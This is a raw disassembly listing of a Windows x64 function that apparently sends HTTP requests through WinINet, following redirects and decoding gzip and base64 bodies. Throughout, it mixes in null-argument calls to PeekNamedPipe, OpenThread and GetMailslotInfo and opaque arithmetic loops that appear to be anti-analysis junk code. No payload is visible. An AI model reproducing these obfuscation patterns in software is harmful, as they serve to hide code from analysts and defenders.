lea rdx, [0x140162f98]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140036791
mov qword [rsp + 0x20], r15
lea r9, [rbp]
mov r8, rbx
mov edx, 0x16
mov rcx, rsi
call rax
mov rdx, rbx
lea rcx, [rbp + 0x1a8]
call fcn.14002f950
nop
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.1400026d0
nop
mov rdx, qword [rbp + 0x1a8]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400367c9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, rbx
call fcn.1400d834c
call fcn.14002fcf0
test al, al
jne 0x1400367f4
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp byte [rsp + 0x48], 0
je 0x140037146
mov eax, dword [rbp + 0x28]
and eax, 0xffffff00
mov dword [rbp + 0x28], eax
btr eax, 8
mov dword [rbp + 0x28], eax
mov qword [rbp + 0x30], r15
mov rdx, r15
mov rax, qword [rbp - 0x78]
lea r8, [0x140162fa8]
nop word [rax + rax]
movzx ecx, word [rax + rdx*2]
inc rdx
cmp cx, word [r8 + rdx*2 - 2]
jne 0x14003684a
cmp rdx, 4
jne 0x140036830
mov ecx, r15d
jmp 0x14003684f
sbb ecx, ecx
or ecx, 1
test ecx, ecx
setne cl
test cl, cl
je 0x140036a76
mov rdx, r15
lea r8, [0x140162f88]
nop word [rax + rax]
movzx ecx, word [rax + rdx*2]
inc rdx
cmp cx, word [r8 + rdx*2 - 2]
jne 0x14003688a
cmp rdx, 4
jne 0x140036870
mov ecx, r15d
jmp 0x14003688f
sbb ecx, ecx
or ecx, 1
test ecx, ecx
setne cl
test cl, cl
je 0x140036a76
mov rdx, r15
lea r8, [0x140162f90]
nop word [rax + rax]
movzx ecx, word [rax + rdx*2]
inc rdx
cmp cx, word [r8 + rdx*2 - 2]
jne 0x1400368ca
cmp rdx, 4
jne 0x1400368b0
mov ecx, r15d
jmp 0x1400368cf
sbb ecx, ecx
or ecx, 1
test ecx, ecx
setne cl
test cl, cl
je 0x140036a76
mov rdx, r15
lea r8, [0x140162fc8]
nop word [rax + rax]
movzx ecx, word [rax + rdx*2]
inc rdx
cmp cx, word [r8 + rdx*2 - 2]
jne 0x14003690a
cmp rdx, 4
jne 0x1400368f0
mov eax, r15d
jmp 0x14003690f
sbb eax, eax
or eax, 1
test eax, eax
setne al
test al, al
je 0x140036a76
call fcn.14002fc80
test al, al
jne 0x14003693a
mov edx, 0x3c
lea r8d, [rdx + 1]
lea rcx, [0x14016245c]
call fcn.1400d7c60
lea rdx, [rbp + 0x20]
mov rbx, qword [rbp - 0x68]
mov rcx, rbx
call fcn.14003eaf0
mov dword [rsp + 0x44], r13d
lea rcx, [rbp + 0x20]
call fcn.14003ec50
nop
mov rdx, qword [rbp - 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036972
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003698b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400369a4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400369bd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400369d7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400369f1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036a0b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036a25
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036a3e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036a58
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036a71
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140037db3
lea rcx, [rbp - 0x40]
call fcn.140002570
nop
mov eax, dword [0x1401ddd80]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 0x8000000f
jge 0x140036a9b
dec ecx
or ecx, 0xfffffff0
inc ecx
cmp ecx, 0xf
jne 0x140036ab3
lea edx, [rcx + 0x37]
lea r8d, [rcx + 0x38]
lea rcx, [0x140162424]
call fcn.1400d7c60
mov rcx, qword [rbp - 0x50]
add rcx, 0xffffffffffffffe8
call fcn.1400028c0
add rax, 0x18
mov qword [rbp - 0x30], rax
lea rcx, [rbp - 0x30]
call fcn.14002b340
mov r10, qword [rbp - 0x30]
cmp dword [r10 - 0x10], 0
jge 0x140036ae0
mov ebx, edi
jmp 0x140036b05
lea rdx, str.location:
mov rcx, r10
call fcn.1400d805c
mov rbx, rax
mov r10, qword [rbp - 0x30]
test rax, rax
jne 0x140036aff
mov ebx, edi
jmp 0x140036b05
sub rbx, r10
sar rbx, 1
call fcn.14002fc30
test al, al
jne 0x140036b35
mov r8d, r13d
mov eax, r13d
mov ecx, VariantChangeTypeEx
nop dword [rax]
lea edx, [rax + r8]
lea r8d, [rax]
mov eax, edx
dec ecx
jns 0x140036b20
mov dword [0x1401ddd80], edx
jmp 0x140036b3b
mov edx, dword [0x1401ddd80]
cmp ebx, 0xffffffff
jne 0x140036cf5
lea ecx, [rdx + 2]
lea eax, [rdx + 1]
imul ecx, eax
imul ecx, edx
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xe
jne 0x140036b87
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rdx, [rbp + 0x20]
mov rbx, qword [rbp - 0x68]
mov rcx, rbx
call fcn.14003eaf0
mov dword [rsp + 0x44], r13d
mov rdx, qword [rbp - 0x30]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036bb5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x40]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036bce
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rbp + 0x20]
call fcn.14003ec50
nop
mov rdx, qword [rbp - 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036bf1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036c0a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036c23
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036c3c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036c56
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036c70
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036c8a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036ca4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036cbd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036cd7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036cf0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140037db3
test ebx, ebx
js 0x140036d20
cmp ebx, dword [r10 - 0x10]
jg 0x140036d20
movsxd rax, ebx
lea rcx, [r10 + rax*2]
lea rdx, [0x140162a2c]
call fcn.1400d805c
test rax, rax
je 0x140036d20
sub rax, qword [rbp - 0x30]
sar rax, 1
jmp 0x140036d22
mov eax, edi
sub eax, ebx
mov r9d, eax
mov r8d, ebx
lea rdx, [rbp + 0x168]
lea rcx, [rbp - 0x30]
call fcn.1400108f0
nop
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.1400026d0
nop
mov rdx, qword [rbp + 0x168]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140036d63
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rbp - 0x40]
cmp dword [rcx - 0x10], 0
jl 0x140036ffb
lea rdx, [0x140162ff0]
call fcn.1400d805c
mov rbx, rax
test rax, rax
je 0x140036ffb
sub rbx, qword [rbp - 0x40]
sar rbx, 1
cmp ebx, 0xffffffff
je 0x140036ffb
lea rcx, [rbp - 0x40]
call fcn.140002760
sub eax, ebx
mov r8d, eax
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp - 0x40]
call fcn.14001c170
nop
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.140002690
nop
lea rcx, [rbp + 0x1c8]
call fcn.140002650
mov dl, 1
lea rcx, [rbp + 0x238]
call fcn.14003ead0
nop
lea rdx, str.urlRedirected
lea rcx, [rbp + 0x20]
call fcn.14003f680
mov rcx, rax
lea rdx, [rbp + 0x238]
call fcn.14003ed00
nop
lea rcx, [rbp + 0x238]
call fcn.14003ec50
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x528]
call fcn.140023f10
nop
mov rdx, rax
lea rcx, [rbp + 0x348]
call fcn.14003ea30
nop
lea rdx, str.requestUrl
lea rcx, [rbp + 0x20]
call fcn.14003f680
mov rcx, rax
lea rdx, [rbp + 0x348]
call fcn.14003ed00
nop
lea rcx, [rbp + 0x348]
call fcn.14003ec50
nop
lea rcx, [rbp + 0x528]
call fcn.1400013b0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x568]
call fcn.140023f10
nop
mov rdx, rax
lea rcx, [rbp + 0x2c8]
call fcn.14003ea30
nop
lea rdx, str.redirectUrl
lea rcx, [rbp + 0x20]
call fcn.14003f680
mov rcx, rax
lea rdx, [rbp + 0x2c8]
call fcn.14003ed00
nop
lea rcx, [rbp + 0x2c8]
call fcn.14003ec50
nop
lea rcx, [rbp + 0x568]
call fcn.1400013b0
xor edx, edx
lea rcx, [rbp - 0x78]
call fcn.140002530
mov rcx, rax
call fcn.1400d8374
mov edx, eax
lea rcx, [rbp + 0x250]
call fcn.14003e980
nop
lea rdx, str.statusCode
lea rcx, [rbp + 0x20]
call fcn.14003f680
mov rcx, rax
lea rdx, [rbp + 0x250]
call fcn.14003ed00
nop
lea rcx, [rbp + 0x250]
call fcn.14003ec50
call fcn.14002fcf0
test al, al
jne 0x140036f45
mov ecx, r13d
mov r8d, dword [0x1401ddd80]
cmp r8d, ecx
jle 0x140036f3f
nop word [rax + rax]
mov eax, r8d
cdq
idiv ecx
inc ecx
add ecx, edx
cmp ecx, r8d
jl 0x140036f30
mov dword [0x1401ddd80], ecx
lea rdx, [rbp + 0x20]
mov rcx, qword [rbp - 0x68]
call fcn.14003eaf0
mov dword [rsp + 0x44], r13d
lea rcx, [rbp - 0x30]
call fcn.140002650
nop
lea rcx, [rbp - 0x40]
call fcn.140002650
nop
lea rcx, [rbp + 0x20]
call fcn.14003ec50
nop
lea rcx, [rbp - 0x50]
call fcn.140002650
nop
lea rcx, [rbp - 0x78]
call fcn.140002650
nop
lea rcx, [rbp - 0x60]
call fcn.140002650
nop
lea rcx, [rbp - 0x58]
call fcn.140002650
nop
lea rcx, [rsp + 0x50]
call fcn.140002650
nop
lea rcx, [rsp + 0x78]
call fcn.140002650
nop
lea rcx, [rsp + 0x68]
call fcn.140002650
nop
lea rcx, [rsp + 0x70]
call fcn.140002650
nop
lea rcx, [rbp - 0x80]
call fcn.140002650
nop
lea rcx, [rsp + 0x58]
call fcn.140002650
nop
lea rcx, [rbp - 0x70]
call fcn.140002650
nop
lea rcx, [rsp + 0x60]
call fcn.140002650
mov rax, qword [rbp - 0x68]
jmp 0x140037dcf
lea rdx, [rbp + 0x20]
mov rbx, qword [rbp - 0x68]
mov rcx, rbx
call fcn.14003eaf0
mov dword [rsp + 0x44], r13d
mov rdx, qword [rbp - 0x30]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037029
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x40]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037042
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rbp + 0x20]
call fcn.14003ec50
nop
mov rdx, qword [rbp - 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037065
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003707e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037097
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400370b0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400370ca
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400370e4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400370fe
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037118
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rbp - 0x80]
call fcn.140002650
nop
lea rcx, [rsp + 0x58]
call fcn.140002650
nop
lea rcx, [rbp - 0x70]
call fcn.140002650
nop
lea rcx, [rsp + 0x60]
call fcn.140002650
jmp 0x140037dcc
lea rcx, [rbp - 0x20]
call fcn.14001c510
nop
mov dword [rbp - 0x24], r15d
lea rcx, [rbp - 0x20]
call fcn.1400380e0
mov rdi, rax
lea rdx, [rax + 0x400]
lea rcx, [rbp - 0x20]
call fcn.140037fe0
mov dword [rbp - 0x24], r15d
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.1400380f0
mov rbx, rax
call fcn.14002e630
mov rcx, rax
lea rax, [rbp - 0x24]
mov qword [rsp + 0x20], rax
mov r8, rbx
mov rdx, rsi
call fcn.1400462c0
test eax, eax
je 0x140037bdd
mov edx, dword [rbp - 0x24]
add rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.140037fe0
cmp dword [rbp - 0x24], 0
jne 0x140037154
mov byte [rbp + 0x12d0], 0
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x12d1]
call fcn.1400dc6e0
mov dword [rbp + 0x90], 0x400
mov rbx, r15
lea rcx, [0x140163068]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r9, rax
test rax, rax
je 0x1400372d0
mov r8d, dword [0x1401ddd80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 6
jne 0x140037290
mov ecx, r15d
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
mov eax, r8d
sub eax, edx
cmp eax, 0x6e
je 0x14003728a
nop
mov eax, r8d
or eax, 0xffffff3e
add r8d, eax
inc ecx
mov eax, r8d
imul eax, r8d
cmp ecx, eax
jg 0x14003728a
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
mov eax, r8d
sub eax, edx
cmp eax, 0x6e
jne 0x140037250
mov dword [0x1401ddd80], ecx
lea rdx, str.HttpQueryInfoA
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call fcn.14002fbb0
test al, al
jne 0x1400372d0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x1401ddd80]
mov edx, 7
test rax, rax
cmove ecx, edx
mov dword [0x1401ddd80], ecx
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
lea r8, [rbp + 0x12d0]
mov edx, 0x1d
mov rcx, rsi
call rbx
test eax, eax
je 0x14003745b
lea rdx, [rbp + 0x12d0]
lea rcx, [rbp + 0x98]
call fcn.14002f950
nop
lea rdx, [0x140163038]
lea rcx, [rbp + 0x98]
call fcn.14001c4d0
test al, al
je 0x14003741d
call fcn.14002fbf0
test al, al
jne 0x140037352
mov edx, r13d
mov eax, r13d
mov r8d, 0xf9
nop dword [rax]
lea ecx, [rax + rdx]
lea edx, [rax]
mov eax, ecx
dec r8d
jns 0x140037340
mov dword [0x1401ddd80], ecx
lea rcx, [rbp + 0x1f0]
call fcn.14001c510
nop
lea rcx, [rbp - 0x20]
call fcn.1400380e0
mov rbx, rax
xor edx, edx
lea rcx, [rbp - 0x20]
call fcn.1400380f0
mov rcx, rax
lea r8, [rbp + 0x1f0]
mov rdx, rbx
call fcn.14002fd90
test eax, eax
jne 0x140037400
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x1400373a6
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.gzip_decompressing_error
lea rcx, [rbp + 0x178]
call fcn.140003890
nop
mov rdx, rax
mov rcx, qword [rbp - 0x68]
call fcn.1400305c0
mov dword [rsp + 0x44], r13d
lea rcx, [rbp + 0x178]
call fcn.140002650
nop
lea rcx, [rbp + 0x1f0]
call fcn.14002f9a0
nop
lea rcx, [rbp + 0x98]
call fcn.140002650
nop
lea rcx, [rbp - 0x20]
call fcn.14002f9a0
jmp 0x140036f75
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp - 0x20]
call fcn.140037ec0
nop
lea rcx, [rbp + 0x1f0]
call fcn.14002f9a0
call fcn.14002fb80
test al, al
jne 0x14003744f
mov eax, 0xff
mov r8d, 0xd5
test r8d, r8d
je 0x140037446
mov ecx, r8d
cdq
idiv r8d
mov r8d, edx
mov eax, ecx
test ecx, ecx
jne 0x140037431
add eax, r8d
mov dword [0x1401ddd80], eax
lea rcx, [rbp + 0x98]
call fcn.140002650
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x140037475
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor bl, bl
xor dil, dil
cmp byte [r14 + 8], bl
jne 0x140037485
mov rax, r12
jmp 0x140037494
lea rdx, [0x1401630b0]
mov rcx, r14
call fcn.14003f890
mov rcx, rax
call fcn.14003fd90
test al, al
je 0x140037536
lea rax, [rbp + 0x468]
mov qword [rbp + 0x18], rax
cmp byte [r14 + 8], 0
jne 0x1400374bb
mov rax, r12
jmp 0x1400374ca
lea rdx, [0x1401630c0]
mov rcx, r14
call fcn.14003f890
mov rcx, rax
call fcn.140003840
mov rdx, rax
lea rcx, [rbp + 0x468]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.140023e70
nop
lea rdx, str.base64
lea rcx, [rbp + 0x80]
call fcn.14001c4d0
test al, al
je 0x14003750d
mov bl, 1
jmp 0x14003752a
lea rdx, str.binary
lea rcx, [rbp + 0x80]
call fcn.14001c4d0
movzx edi, dil
test al, al
cmovne edi, r13d
lea rcx, [rbp + 0x80]
call fcn.140002650
lea rcx, [rbp - 0x38]
call fcn.140002570
nop
test bl, bl
je 0x14003767d
lea rcx, [rbp - 0x20]
call fcn.1400380e0
mov rbx, rax
xor edx, edx
lea rcx, [rbp - 0x20]
call fcn.1400380f0
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x180]
call fcn.140023cd0
nop
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140002690
nop
lea rcx, [rbp + 0x180]
call fcn.140002650
mov ecx, dword [0x1401ddd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub r8d, edx
mov eax, dword [0x1401decc4]
mov ecx, 0x161eb772
cmp r8d, 8
cmove eax, ecx
mov dword [0x1401decc4], eax
lea rcx, [rbp + 0x118]
call fcn.14002d830
nop
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.14001c490
movzx ebx, al
lea rcx, [rbp + 0x118]
call fcn.140002650
test bl, bl
je 0x1400377a7
call fcn.14002fbb0
test al, al
jne 0x140037633
mov r8d, r13d
mov eax, r13d
mov edx, 0x7c
nop word [rax + rax]
lea ecx, [rax + r8]
lea r8d, [rax]
mov eax, ecx
dec edx
jns 0x140037620
mov dword [0x1401ddd80], ecx
lea rdx, str.Base64_encdng_error
lea rcx, [rbp + 0x120]
call fcn.140003890
nop
mov rdx, rax
mov rcx, qword [rbp - 0x68]
call fcn.1400305c0
mov dword [rsp + 0x44], r13d
lea rcx, [rbp + 0x120]
call fcn.140002650
nop
lea rcx, [rbp - 0x38]
call fcn.140002650
nop
lea rcx, [rbp - 0x20]
call fcn.14002f9a0
jmp 0x140036f75
test dil, dil
jne 0x1400377a7
lea rcx, [rbp - 0x20]
call fcn.1400380e0
mov rbx, rax
lea rdx, [rax - 1]
lea rcx, [rbp - 0x20]
call fcn.1400380f0
cmp byte [rax], dil
je 0x1400376c0
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x20]
call fcn.140037fe0
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.1400380f0
mov byte [rax], dil
lea rcx, [rbp - 0x20]
call fcn.1400380e0
cmp rax, 3
jbe 0x140037755
xor edx, edx
lea rcx, [rbp - 0x20]
call fcn.1400380f0
cmp byte [rax], 0xef
jne 0x140037755
mov rdx, r13
lea rcx, [rbp - 0x20]
call fcn.1400380f0
cmp byte [rax], 0xbb
jne 0x140037755
mov edx, 2
lea rcx, [rbp - 0x20]
call fcn.1400380f0
cmp byte [rax], 0xbf
jne 0x140037755
lea rdx, [rbp + 0x288]
lea rcx, [rbp - 0x20]
call fcn.140037fd0
mov rcx, rax
mov r8d, 3
lea rdx, [rbp + 0x2a8]
call fcn.140038190
mov rbx, qword [rax]
lea rdx, [rbp + 0x360]
lea rcx, [rbp - 0x20]
call fcn.140037fd0
mov r9, rbx
mov r8, qword [rax]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x20]
call fcn.140038100
xor edx, edx
lea rcx, [rbp - 0x20]
call fcn.1400380f0
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140003890
nop
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140002690
nop
lea rcx, [rbp + 0x130]
call fcn.140002650
call fcn.14002fc80
test al, al
jne 0x1400377a7
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor bl, bl
cmp byte [r14 + 8], bl
jne 0x1400377b4
mov rax, r12
jmp 0x1400377c3
lea rdx, [0x1401630f8]
mov rcx, r14
call fcn.14003f890
mov rcx, rax
call fcn.14003fd90
test al, al
je 0x14003791f
mov edx, dword [0x1401ddd80]
lea r8d, [rdx + 2]
lea ecx, [rdx + 1]
imul r8d, ecx
imul r8d, edx
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub r8d, edx
cmp r8d, 7
jne 0x140037810
call fcn.1400d7b94
mov dword [0x1401ddd80], eax
lea rax, [rbp + 0x388]
mov qword [rbp + 0xc0], rax
cmp byte [r14 + 8], 0
jne 0x14003782a
mov rax, r12
jmp 0x140037839
lea rdx, [0x1401630d0]
mov rcx, r14
call fcn.14003f890
mov rcx, rax
call fcn.140003840
mov rdx, rax
lea rcx, [rbp + 0x388]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140023e70
nop
lea rcx, [rbp + 0x38]
call fcn.14000fed0
test al, al
jne 0x140037916
test dil, dil
je 0x1400378e2
mov qword [rbp + 0x88], r15
lea rcx, [rbp + 0x38]
call fcn.140003840
mov rdx, rax
lea r8, [0x140162a64]
lea rcx, [rbp + 0x88]
call fcn.1400da010
test eax, eax
jne 0x140037916
mov rdi, qword [rbp + 0x88]
test rdi, rdi
je 0x140037916
lea rcx, [rbp - 0x20]
call fcn.1400380e0
mov rbx, rax
xor edx, edx
lea rcx, [rbp - 0x20]
call fcn.1400380f0
